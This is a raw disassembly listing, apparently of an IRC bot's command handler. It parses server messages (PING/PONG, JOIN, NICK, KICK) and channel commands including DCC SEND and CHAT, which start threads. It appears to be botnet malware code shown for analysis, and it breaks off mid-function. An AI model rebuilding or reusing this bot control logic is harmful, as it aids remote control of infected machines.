var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
Drive = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
Str1 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
Count = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
Dst = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
SubStr = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
Args = byte ptr -8Ch
Format = dword ptr -88h
Str2 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Source = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
File = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call __alloca_probe
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call _memset
push 1Bh ; Count
lea eax, [ebp+Str1]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 18h
cmp [ebp+Src], ebx
jz loc_401E94
push esi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
dec esi
lea eax, [ebp+Str]
push esi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push offset SubStr ; " :"
push eax ; Str
call _strstr
mov [ebp+var_C], eax
lea eax, [ebp+Str]
push esi ; Count
push eax ; Source
lea eax, [ebp+var_4AF0]
push eax ; Dest
call _strncpy
mov esi, offset asc_42D124 ; " "
lea eax, [ebp+var_4AF0]
push esi ; Delim
push eax ; Str
call _strtok
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+Args]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi ; Delim
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp dword ptr [ebp+Args], ebx
jz loc_401E94
push 100h ; Size
lea eax, [ebp+var_960]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh ; Count
lea eax, [ebp+var_E00]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [esi+1]
push 17h ; Count
push eax ; Source
lea eax, [ebp+var_C4]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C4]
push offset Delim ; "!"
push eax ; Str
call _strtok
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push dword ptr [ebp+Args] ; Args
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset a001 ; "001"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099E1
push esi ; Str2
push offset a005 ; "005"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099E1
push esi ; Str2
push offset a302_0 ; "302"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+Str2] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh ; Count
push eax ; Source
push [ebp+arg_1C] ; Dest
call _strncpy
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi ; Str2
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx ; Str1
push dword_4290A0 ; int
push dword_42909C ; int
push [ebp+Source] ; Dest
call sub_40B08E
add esp, 10h
push [ebp+Source] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset aKick ; "KICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+File], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh ; Count
lea eax, [ebp+var_E00]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+Str2], ebx
jz short loc_401E5A
push [ebp+Str2] ; Str2
lea eax, [ebp+var_C4]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+Dst]
push offset asc_42D0B4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
lea eax, [ebp+Dst]
push eax
call sub_4151AD
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+File]
jnz loc_401DCF
push [ebp+Str2] ; Str2
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8] ; Args
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4] ; int
call sub_409A2D
loc_401E91: ; CODE XREF: sub_401ACD+253Cj
; sub_401ACD+2559j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A62j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A84j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi ; Str2
push offset aNick ; "NICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+Format]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+Src], 3
mov [ebp+File], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+File] ; Source
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax ; Dest
call _strcpy
push [ebp+arg_1C] ; Source
push edi ; Dest
call _strcat
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+Src]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+File], ebx
jz loc_401E94
push [ebp+Source] ; Str2
lea eax, [ebp+var_C4]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh ; Count
push [ebp+File] ; Source
push [ebp+Source] ; Dest
call _strncpy
loc_401F52: ; CODE XREF: sub_401ACD+1C36j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz loc_401E94
push eax ; Str
call _strlen
push [ebp+File] ; Str
mov edi, eax
call _strlen
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+Src]
shl esi, 7
push [ebp+File]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_45EC]
push ebx ; int
push eax ; int
push [ebp+arg_8] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi ; Str2
push offset aPart ; "PART"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi ; Str2
push offset aQuit ; "QUIT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push dword ptr [ebp+Args] ; Str2
push offset a353 ; "353"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80] ; Str2
push [ebp+arg_8] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80] ; Args
push offset asc_42D060 ; "-"
loc_402077: ; CODE XREF: sub_401ACD+28CDj
; sub_401ACD+2C4Dj ...
call sub_415221
loc_40207C: ; CODE XREF: sub_401ACD+1BE2j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B70j
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+Dst]
push offset asc_42D03C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push dword ptr [ebp+Args] ; Str2
push offset aPart ; "PART"
call _strcmp
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+Dst]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push dword ptr [ebp+Args] ; Str2
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi ; Str1
call _strcmp
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409855
cmp dword_429088, ebx
jz loc_409855
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push dword ptr [ebp+Args] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+Str2]
inc [ebp+var_80]
push 4
mov [ebp+Format], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax ; Str2
push offset dword_42D020 ; Str1
mov [ebp+arg_8], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push dword ptr [ebp+esi+Args] ; Str2
push offset aSend ; "SEND"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+Format]
mov edi, offset aS_6 ; "%s"
lea eax, [ebp+var_1B80]
push edi ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+Str2]
push edi ; Format
push eax ; Dest
call _sprintf
push [ebp+esi+var_80] ; Str
call _atoi
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_1A7C]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+Dst]
push offset asc_42CFE4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset sub_4161BD
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BD
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push dword ptr [ebp+Args] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+Format], ebx
jz loc_401E94
push offset asc_42CFE0 ; "#"
push [ebp+Format] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+Format], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+Str2], ebx
jz loc_401E94
inc [ebp+Str2]
jz short loc_402356
cmp [ebp+Source], ebx
jz short loc_402356
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+Str1]
push [ebp+Str2] ; Str2
push eax ; Str1
call _strncmp
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi ; Str2
push offset dword_42CFD4 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+Format]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CB508
mov eax, off_429164[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42CFB8
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi ; Str2
push offset dword_42CFB0 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, dword ptr [ebp+esi*4+Args]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+Format]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42CF98
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7853j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42CF5C
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+Format]
push offset asc_42CF18 ; "-"
loc_40240A: ; CODE XREF: sub_401ACD+7E2Aj
; sub_401ACD+7E91j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push dword ptr [ebp+esi+Args] ; Str2
push offset aChat ; "CHAT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33F
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+Str2]
lea eax, [ebp+var_2AA8]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+esi+var_80] ; Str
call _atoi
